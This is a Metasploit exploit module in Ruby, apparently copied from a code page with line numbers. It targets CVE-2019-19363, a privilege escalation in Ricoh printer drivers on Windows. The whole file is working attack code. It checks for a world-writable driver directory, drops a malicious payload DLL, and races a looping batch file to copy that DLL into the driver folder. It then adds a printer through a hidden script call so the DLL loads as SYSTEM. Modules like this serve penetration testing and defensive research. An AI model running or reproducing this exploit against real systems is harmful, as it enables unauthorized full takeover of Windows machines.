1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Ricoh Driver Privilege Escalation', 'Description'=> %q( Various Ricoh printer drivers allow escalation of privileges on Windows systems. For vulnerable drivers, a low-privileged user can read/write files within the <code>RICOH_DRV</code> directory and its subdirectories. PrintIsolationHost.exe</code>, a Windows process running as NT AUTHORITY\SYSTEM, loads driver-specific DLLs during the installation of a printer. A user can elevate to SYSTEM by writing a malicious DLL to the vulnerable driver directory and adding a new printer with a vulnerable driver. This module leverages the <code>prnmngr.vbs</code> script to add and delete printers. Multiple runs of this module may be required given successful exploitation is time-sensitive. ), 'License'=> MSF_LICENSE, 'Author' => [ 'Alexander Pudwill',# discovery & PoC 'Pentagrid AG', # PoC 'Shelby Pace' # msf module ], 'References' => [ [ 'CVE', '2019-19363'], [ 'URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/'] ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => 'win', 'Payload'=> { }, 'SessionTypes' => [ 'meterpreter' ], 'Targets'=> [[ 'Windows', { 'Arch'=> [ ARCH_X86, ARCH_X64 ] } ]], 'Notes'=> { 'SideEffects' =>[ ARTIFACTS_ON_DISK ], 'Reliability' =>[ UNRELIABLE_SESSION ], 'Stability' =>[ SERVICE_RESOURCE_LOSS ] }, 'DisclosureDate' => "Jan 22 2020", 'DefaultTarget'=> 0 )) self.needs_cleanup = true register_advanced_options([ OptBool.new('ForceExploit', [ false, 'Override check result', false ]) ]) end def check dir_name = "C:\\ProgramData\\RICOH_DRV" return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name) driver_names = dir(dir_name) return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length vulnerable = false driver_names.each do |driver_name| full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz" next unless directory?(full_path) @driver_path = full_path res = cmd_exec("icacls \"#{@driver_path}\"") next unless res.include?('Everyone:') next unless res.match(/\(F\)/) vulnerable = true break end return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable vprint_status("Vulnerable driver directory: #{@driver_path}") CheckCode::Appears('Ricoh driver directory has full permissions') end def add_printer(driver_name) fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path) dll_data = generate_payload_dll dll_path = "#{@driver_path}\\headerfooter.dll" temp_path = expand_path('%TEMP%\\headerfooter.dll') vprint_status("Writing dll to #{temp_path}") bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat") cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\"" bat_file = <<~HEREDOC :repeat #{cp_cmd} && goto :repeat HEREDOC write_file(bat_file_path, bat_file) write_file(temp_path, dll_data) register_files_for_cleanup(bat_file_path, temp_path) script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\"" bat_cmd = "cmd.exe /c \"#{bat_file_path}\"" print_status("Adding printer #{@printer_name}...") client.sys.process.execute(script_cmd, nil, { 'Hidden' => true }) vprint_status("Executing script...") cmd_exec(bat_cmd) rescue Rex::Post::Meterpreter::RequestError => e e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end def exploit fail_with(Failure::None, 'Already running as SYSTEM') if is_system? fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter' if sysinfo['Architecture'] != payload.arch.first fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver') end @driver_path = '' unless check == CheckCode::Appears || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override') end @printer_name = Rex::Text.rand_text_alpha(5..9) @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs" drvr_name = @driver_path.split('\\') drvr_name_idx = drvr_name.index('RICOH_DRV') + 1 drvr_name = drvr_name[drvr_name_idx] add_printer(drvr_name) end def cleanup print_status("Deleting printer #{@printer_name}") Rex.sleep(3) delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\"" client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true }) end end |